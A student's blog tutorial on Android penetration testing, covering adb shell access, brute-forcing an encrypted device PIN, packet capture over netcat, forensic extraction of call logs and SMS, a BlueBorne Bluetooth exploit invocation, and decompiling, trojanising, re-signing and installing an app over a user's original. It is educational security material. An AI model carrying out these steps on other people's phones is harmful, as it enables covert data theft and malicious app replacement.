Pentesting Android applications by reversing and finding attack surfaces

8 min readJan 17, 2019

In this past semester, I was taking a cybersecurity class. Since our awesome professor believe in the concept that we learn by doing and not by taking test -we have the option to opt out of the finals for performing a penetration test of our choice.

I wanted to learn more about mobile pentesting by actually performing one so I jumped right on the opportunity... plus who likes final test taking anyways? *heh heh*

After researching and reading about the how-to, I decided to write a little tutorials of my own. No way on earth that this will be comprehensive as this is my very first time doing anything mobile-related. But I do believe sharing is caring, so if you have any tips or advice — please send it my way :)

This will only cover the basic on tools that can be used instead of the full penetration test that I performed. I always think it’s a bit more fun when you do research the info on your own… delayed gratification and all ;)

Information:
In an Android architecture, there are 5 layers: application, application framework, libraries, runtime environment, and Linux kernel layer.

The application layer contains native application and third parties that are installed by users. The application framework layer provides the services that manage and control the application layer and includes 4 components: activities, content, services, notifications and broadcast. The libraries layer controls and accesses application data. The runtime include the Dalvik VM which all java files are converted in Dalvik format (dex) to be optimized before running. And the kernel layer control core services such as power control, security, hardware, memory management…etc.

Tools:
To get started, download Santoku. It is an awesome open-source VM dedicated to mobile forensics, analysis, and security. It contained all of the tools that I used. Download it below and you are ready to have some fun :)

-VM: Santoku (https://santoku-linux.com/download/)

Getting started:

Before getting started, your phone will need to be put in a Developer mode with USB debug turned on. To do that:

Setting -> About Phone -> Build Number -> Tap 7 times -> Developer Setting mode turned on -> Go to USB Debug -> Enabled.

Now you can connect the phone to the computer, and to check whether or not if it is successful, try: adb devices -l

Once successful, you should be able to list the device out by typing in the command above. Take notice of the device ID, you can use that exact id to open up a shell.

Next, open up a shell:
adb -s ce20c6e4 shell

You can now have a lot of fun and navigate around just like you are in a Linux environment… For example, listing out all files and permissions:

From here, a little fun thing you can do is to learn to brute force a PIN number: https://santoku-linux.com/howto/mobile-forensics/how-to-brute-force-android-encryption/

Header
$ adb shell dd if=/dev/block/mmcblk0p2 of=tmp_header bs=512 count=1
$ adb pull tmp_header ~/Desktop/tmp_header
Footer
$ adb shell mkdir /efs
$ adb shell mount -t yaffs2 /dev/block/mtdblock6 /efs
$ adb pull /efs/userdata_footer ~/Desktop/tmp_footer
Brute forcing PIN:
$ bruteforce_stdcrypto ~/Desktop/t/tmp_header ~/Desktop/t/tmp_footer

Another fun thing is to fire up tcpdump to collect some packets and use Wireshark to read traffics:

adb shell “tcpdump -s 0 -w — | nc -l -p 4444”
adb forward tcp:4444 tcp:4444
nc localhost 4444 | sudo wireshark -k -S -i

Phone Forensics

Next up, there is a little nifty tool known as AFLogical OSE. This is especially useful if you wish to extract out all files such as call logs, mms, sms, pictures, applications installed on phone, its versions…etc…

Navigating to the forensics folder, we was able to extract out these files that were separated into its different dates:

Note: This is a test android phone I had laying around that I used only during Defcon… so there’s only 3 dates worth of data. Upon clicking on those, you can see something like this:

Once opened, the csv content can look something like:

And in the info.xml, it looks like:

Fun thing to do next:
-Hack the phone’s bluetooth using Blueborne (read more at https://armis.com/blueborne/)

$ sudo apt-get install libbluetooth-dev
$sudo pip2 install pybluez pwn scapy
To run the exploits, the root of this repository needs to be in the PYTHONPATH.
$ export PYTHONPATH=$PYTHONPATH:<repo-path>
$ sudo python2 doit.py hci0 <target-bdaddr> <attacker-ip>

Reversing an application (apk)

One thing I’ve learned is that it is actually super easy to reverse engineering an application on an Android phone. It goes something like this:

Tools:
USB Debugger
Dex2jar
JD-Gui

Steps:
Download an application from the info.xml list extracted from phone from the internet
Reverse engineer the application into .java files
Insert in malicious code and make sure it can run
Sign the final apk file
Install the apk file on the user’s phone — replacing their original application

APK is a zipped package with certificates, files, manifest, resources, and dex code that the developer has compiled. To obtain an application’s apk, you can simply search the internet. Just beware that there are some pretty sketchy sites out there… but I’ll leave it to you to perform the Google-fu!

Example download: Facebook (57.2mb), Skype(~30.7mb), and Twitter (29.8mb). We’ll use the Facebook apk for example.

First, use dex2jar to extract the apk. After that, the tool saved all the new .dex apk’s converted files into .jar files.

The content in the folders:

To see the source code of any jar files, a tool called JD-GUI was used next. JD-GUI is a Java decompiler tool. And now, we can see all of the declared functions and source code from Facebook. At this point, all the files are readable and modifiable:

This is definitely some powerful stuffs — please use it responsibly.

For others who would like to try and proceed to the next step of adding some code into an app, and repackage it, this is an example:

$ adb connect 10.0.2.5
$ adb pull /system/framework/framework-res.apk
$ apktool if framework-res.apk
$ apktool d -r your-new-app-name.apk # install your app
Open — modify existing smali files and create malicious code and place in smali/com folder. Then repackage with apktool b -f [your-old-app-name](-f overwrite existing files)
Create a key that will be used to sign the apk file:
keytool -alias am -genkey -v -keystore my-release-key.keystore-keyalg RSA -keysize 2048 -validity 10000
Sign the apk file:
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystore my-releasekey.keystore [your-old-app-name].apk
[$ jarsigner -keystore debug.keystore -sigalg SHA1withRSA test.apk androiddebugkey
$ jarsigner -keystore debug.keystore -verify -verbose -certs test.apk]
Install new (malicious?) apk file:
$ adb install [your-app-name].apk

Finding Vulnerabilities

Next, and final, is a tool named Drozer (https://github.com/mwrlabs/drozer).

Drozer is a nice tool for analyzing and auditing Android applications which basically allow you to assume the role of an Android app and to interact with other app through the IP0C mechanism and the underlying operating system. It help to find vulnerabilities and also provide with forensics, exploits and payload. The agent runs on the device and help to facilitate the testing. The console (CLI) interact with the device between the console and agent.

Install Drozer:
$ adb install drozer-agent.apk
Next, since Drozer run default on port 31415, we can forward the current adb port over to the default Drozer port.
$ adb forward tcp:31415 tcp:31415
Start a drozer session over default port 31415:
$ drozer console connect

Successful connecting should show a little Android icon and a screen running on your phone.

Some of the Drozer commands are: list, shell, clean, load, module, unset, set, shell, run MODULE.

For example, to retrieve all package list info:

dz> run app.package.list

Identify an attack surface (replace with your app name, I used my own for my class):

dz> run app.package.attacksurface sie571.sie571

There are a giant list of things you can find with Drozer on an app to pen test it. I would suggest to spend some time to read more into its documentations but some hints of things to exploits are: activities, content provider, broadcast receivers, and service. From then, you can have even more fun and do whatever your heart desire :)

— — — — — — — — — — — —

Sources:

This story is published in Noteworthy, where 10,000+ readers come every day to learn about the people & ideas shaping the products we love.

Follow our publication to see more product & design stories featured by the Journal team.

Pentesting Android applications by reversing and finding attack surfaces

Phone Forensics

Reversing an application (apk)

Finding Vulnerabilities

Written by Thao N. Vo